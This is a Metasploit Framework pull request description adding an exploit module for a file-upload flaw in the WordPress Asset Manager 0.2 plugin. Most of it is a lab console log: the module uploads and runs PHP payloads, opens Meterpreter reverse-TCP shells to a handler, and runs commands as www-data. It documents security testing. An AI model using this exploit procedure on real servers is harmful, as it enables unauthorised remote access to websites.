rapid7/metasploit-framework — pull request #1207 by jvazquez-r7 (2012-12-24 22:30:59+00:00)
Title: Added module for wp asset manager upload exec

Module submitted by James Fitts via mail. Doing the pull request for him. Module tried and cleanup conducted, and sent pull request link to james so he can get feedback.

* asset-manager 0.2 can be downloaded from:

http://www.exploit-db.com/exploits/18993/

* Tested with asset-manager 0.2 / wordpress 3.5 / ubuntu 10.04:

msf > use exploit/unix/webapp/wp_asset_manager_upload_exec
msf exploit(wp_asset_manager_upload_exec) > set rhost 192.168.1.138
rhost => 192.168.1.138
msf exploit(wp_asset_manager_upload_exec) > show options

Module options (exploit/unix/webapp/wp_asset_manager_upload_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.138 yes The target address
RPORT 80 yes The target port
TARGETURI /wordpress yes The full URI path to WordPress
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Generic (PHP Payload)

msf exploit(wp_asset_manager_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.138:80 - Uploading payload uuZpJ.php
[*] 192.168.1.138:80 - Executing payload uuZpJ.php
[*] Sending stage (39217 bytes) to 192.168.1.138
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.138:40732) at 2012-12-24 23:23:29 +0100
^C[-] Exploit failed: Interrupt

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.138 - Meterpreter session 1 closed. Reason: User exit
msf exploit(wp_asset_manager_upload_exec) > set target 1
target => 1
msf exploit(wp_asset_manager_upload_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(wp_asset_manager_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.138:80 - Uploading payload mJMnn.php
[*] 192.168.1.138:80 - Executing payload mJMnn.php
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.138
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.138:40736) at 2012-12-24 23:23:56 +0100

meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33
meterpreter > ls

Listing: /var/www/wordpress/wp-content/uploads/assets/temp
==========================================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2012-12-24 23:23:55 +0100 .
40755/rwxr-xr-x 4096 dir 2012-12-24 23:17:01 +0100 ..

emeterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.138 - Meterpreter session 2 closed. Reason: User exit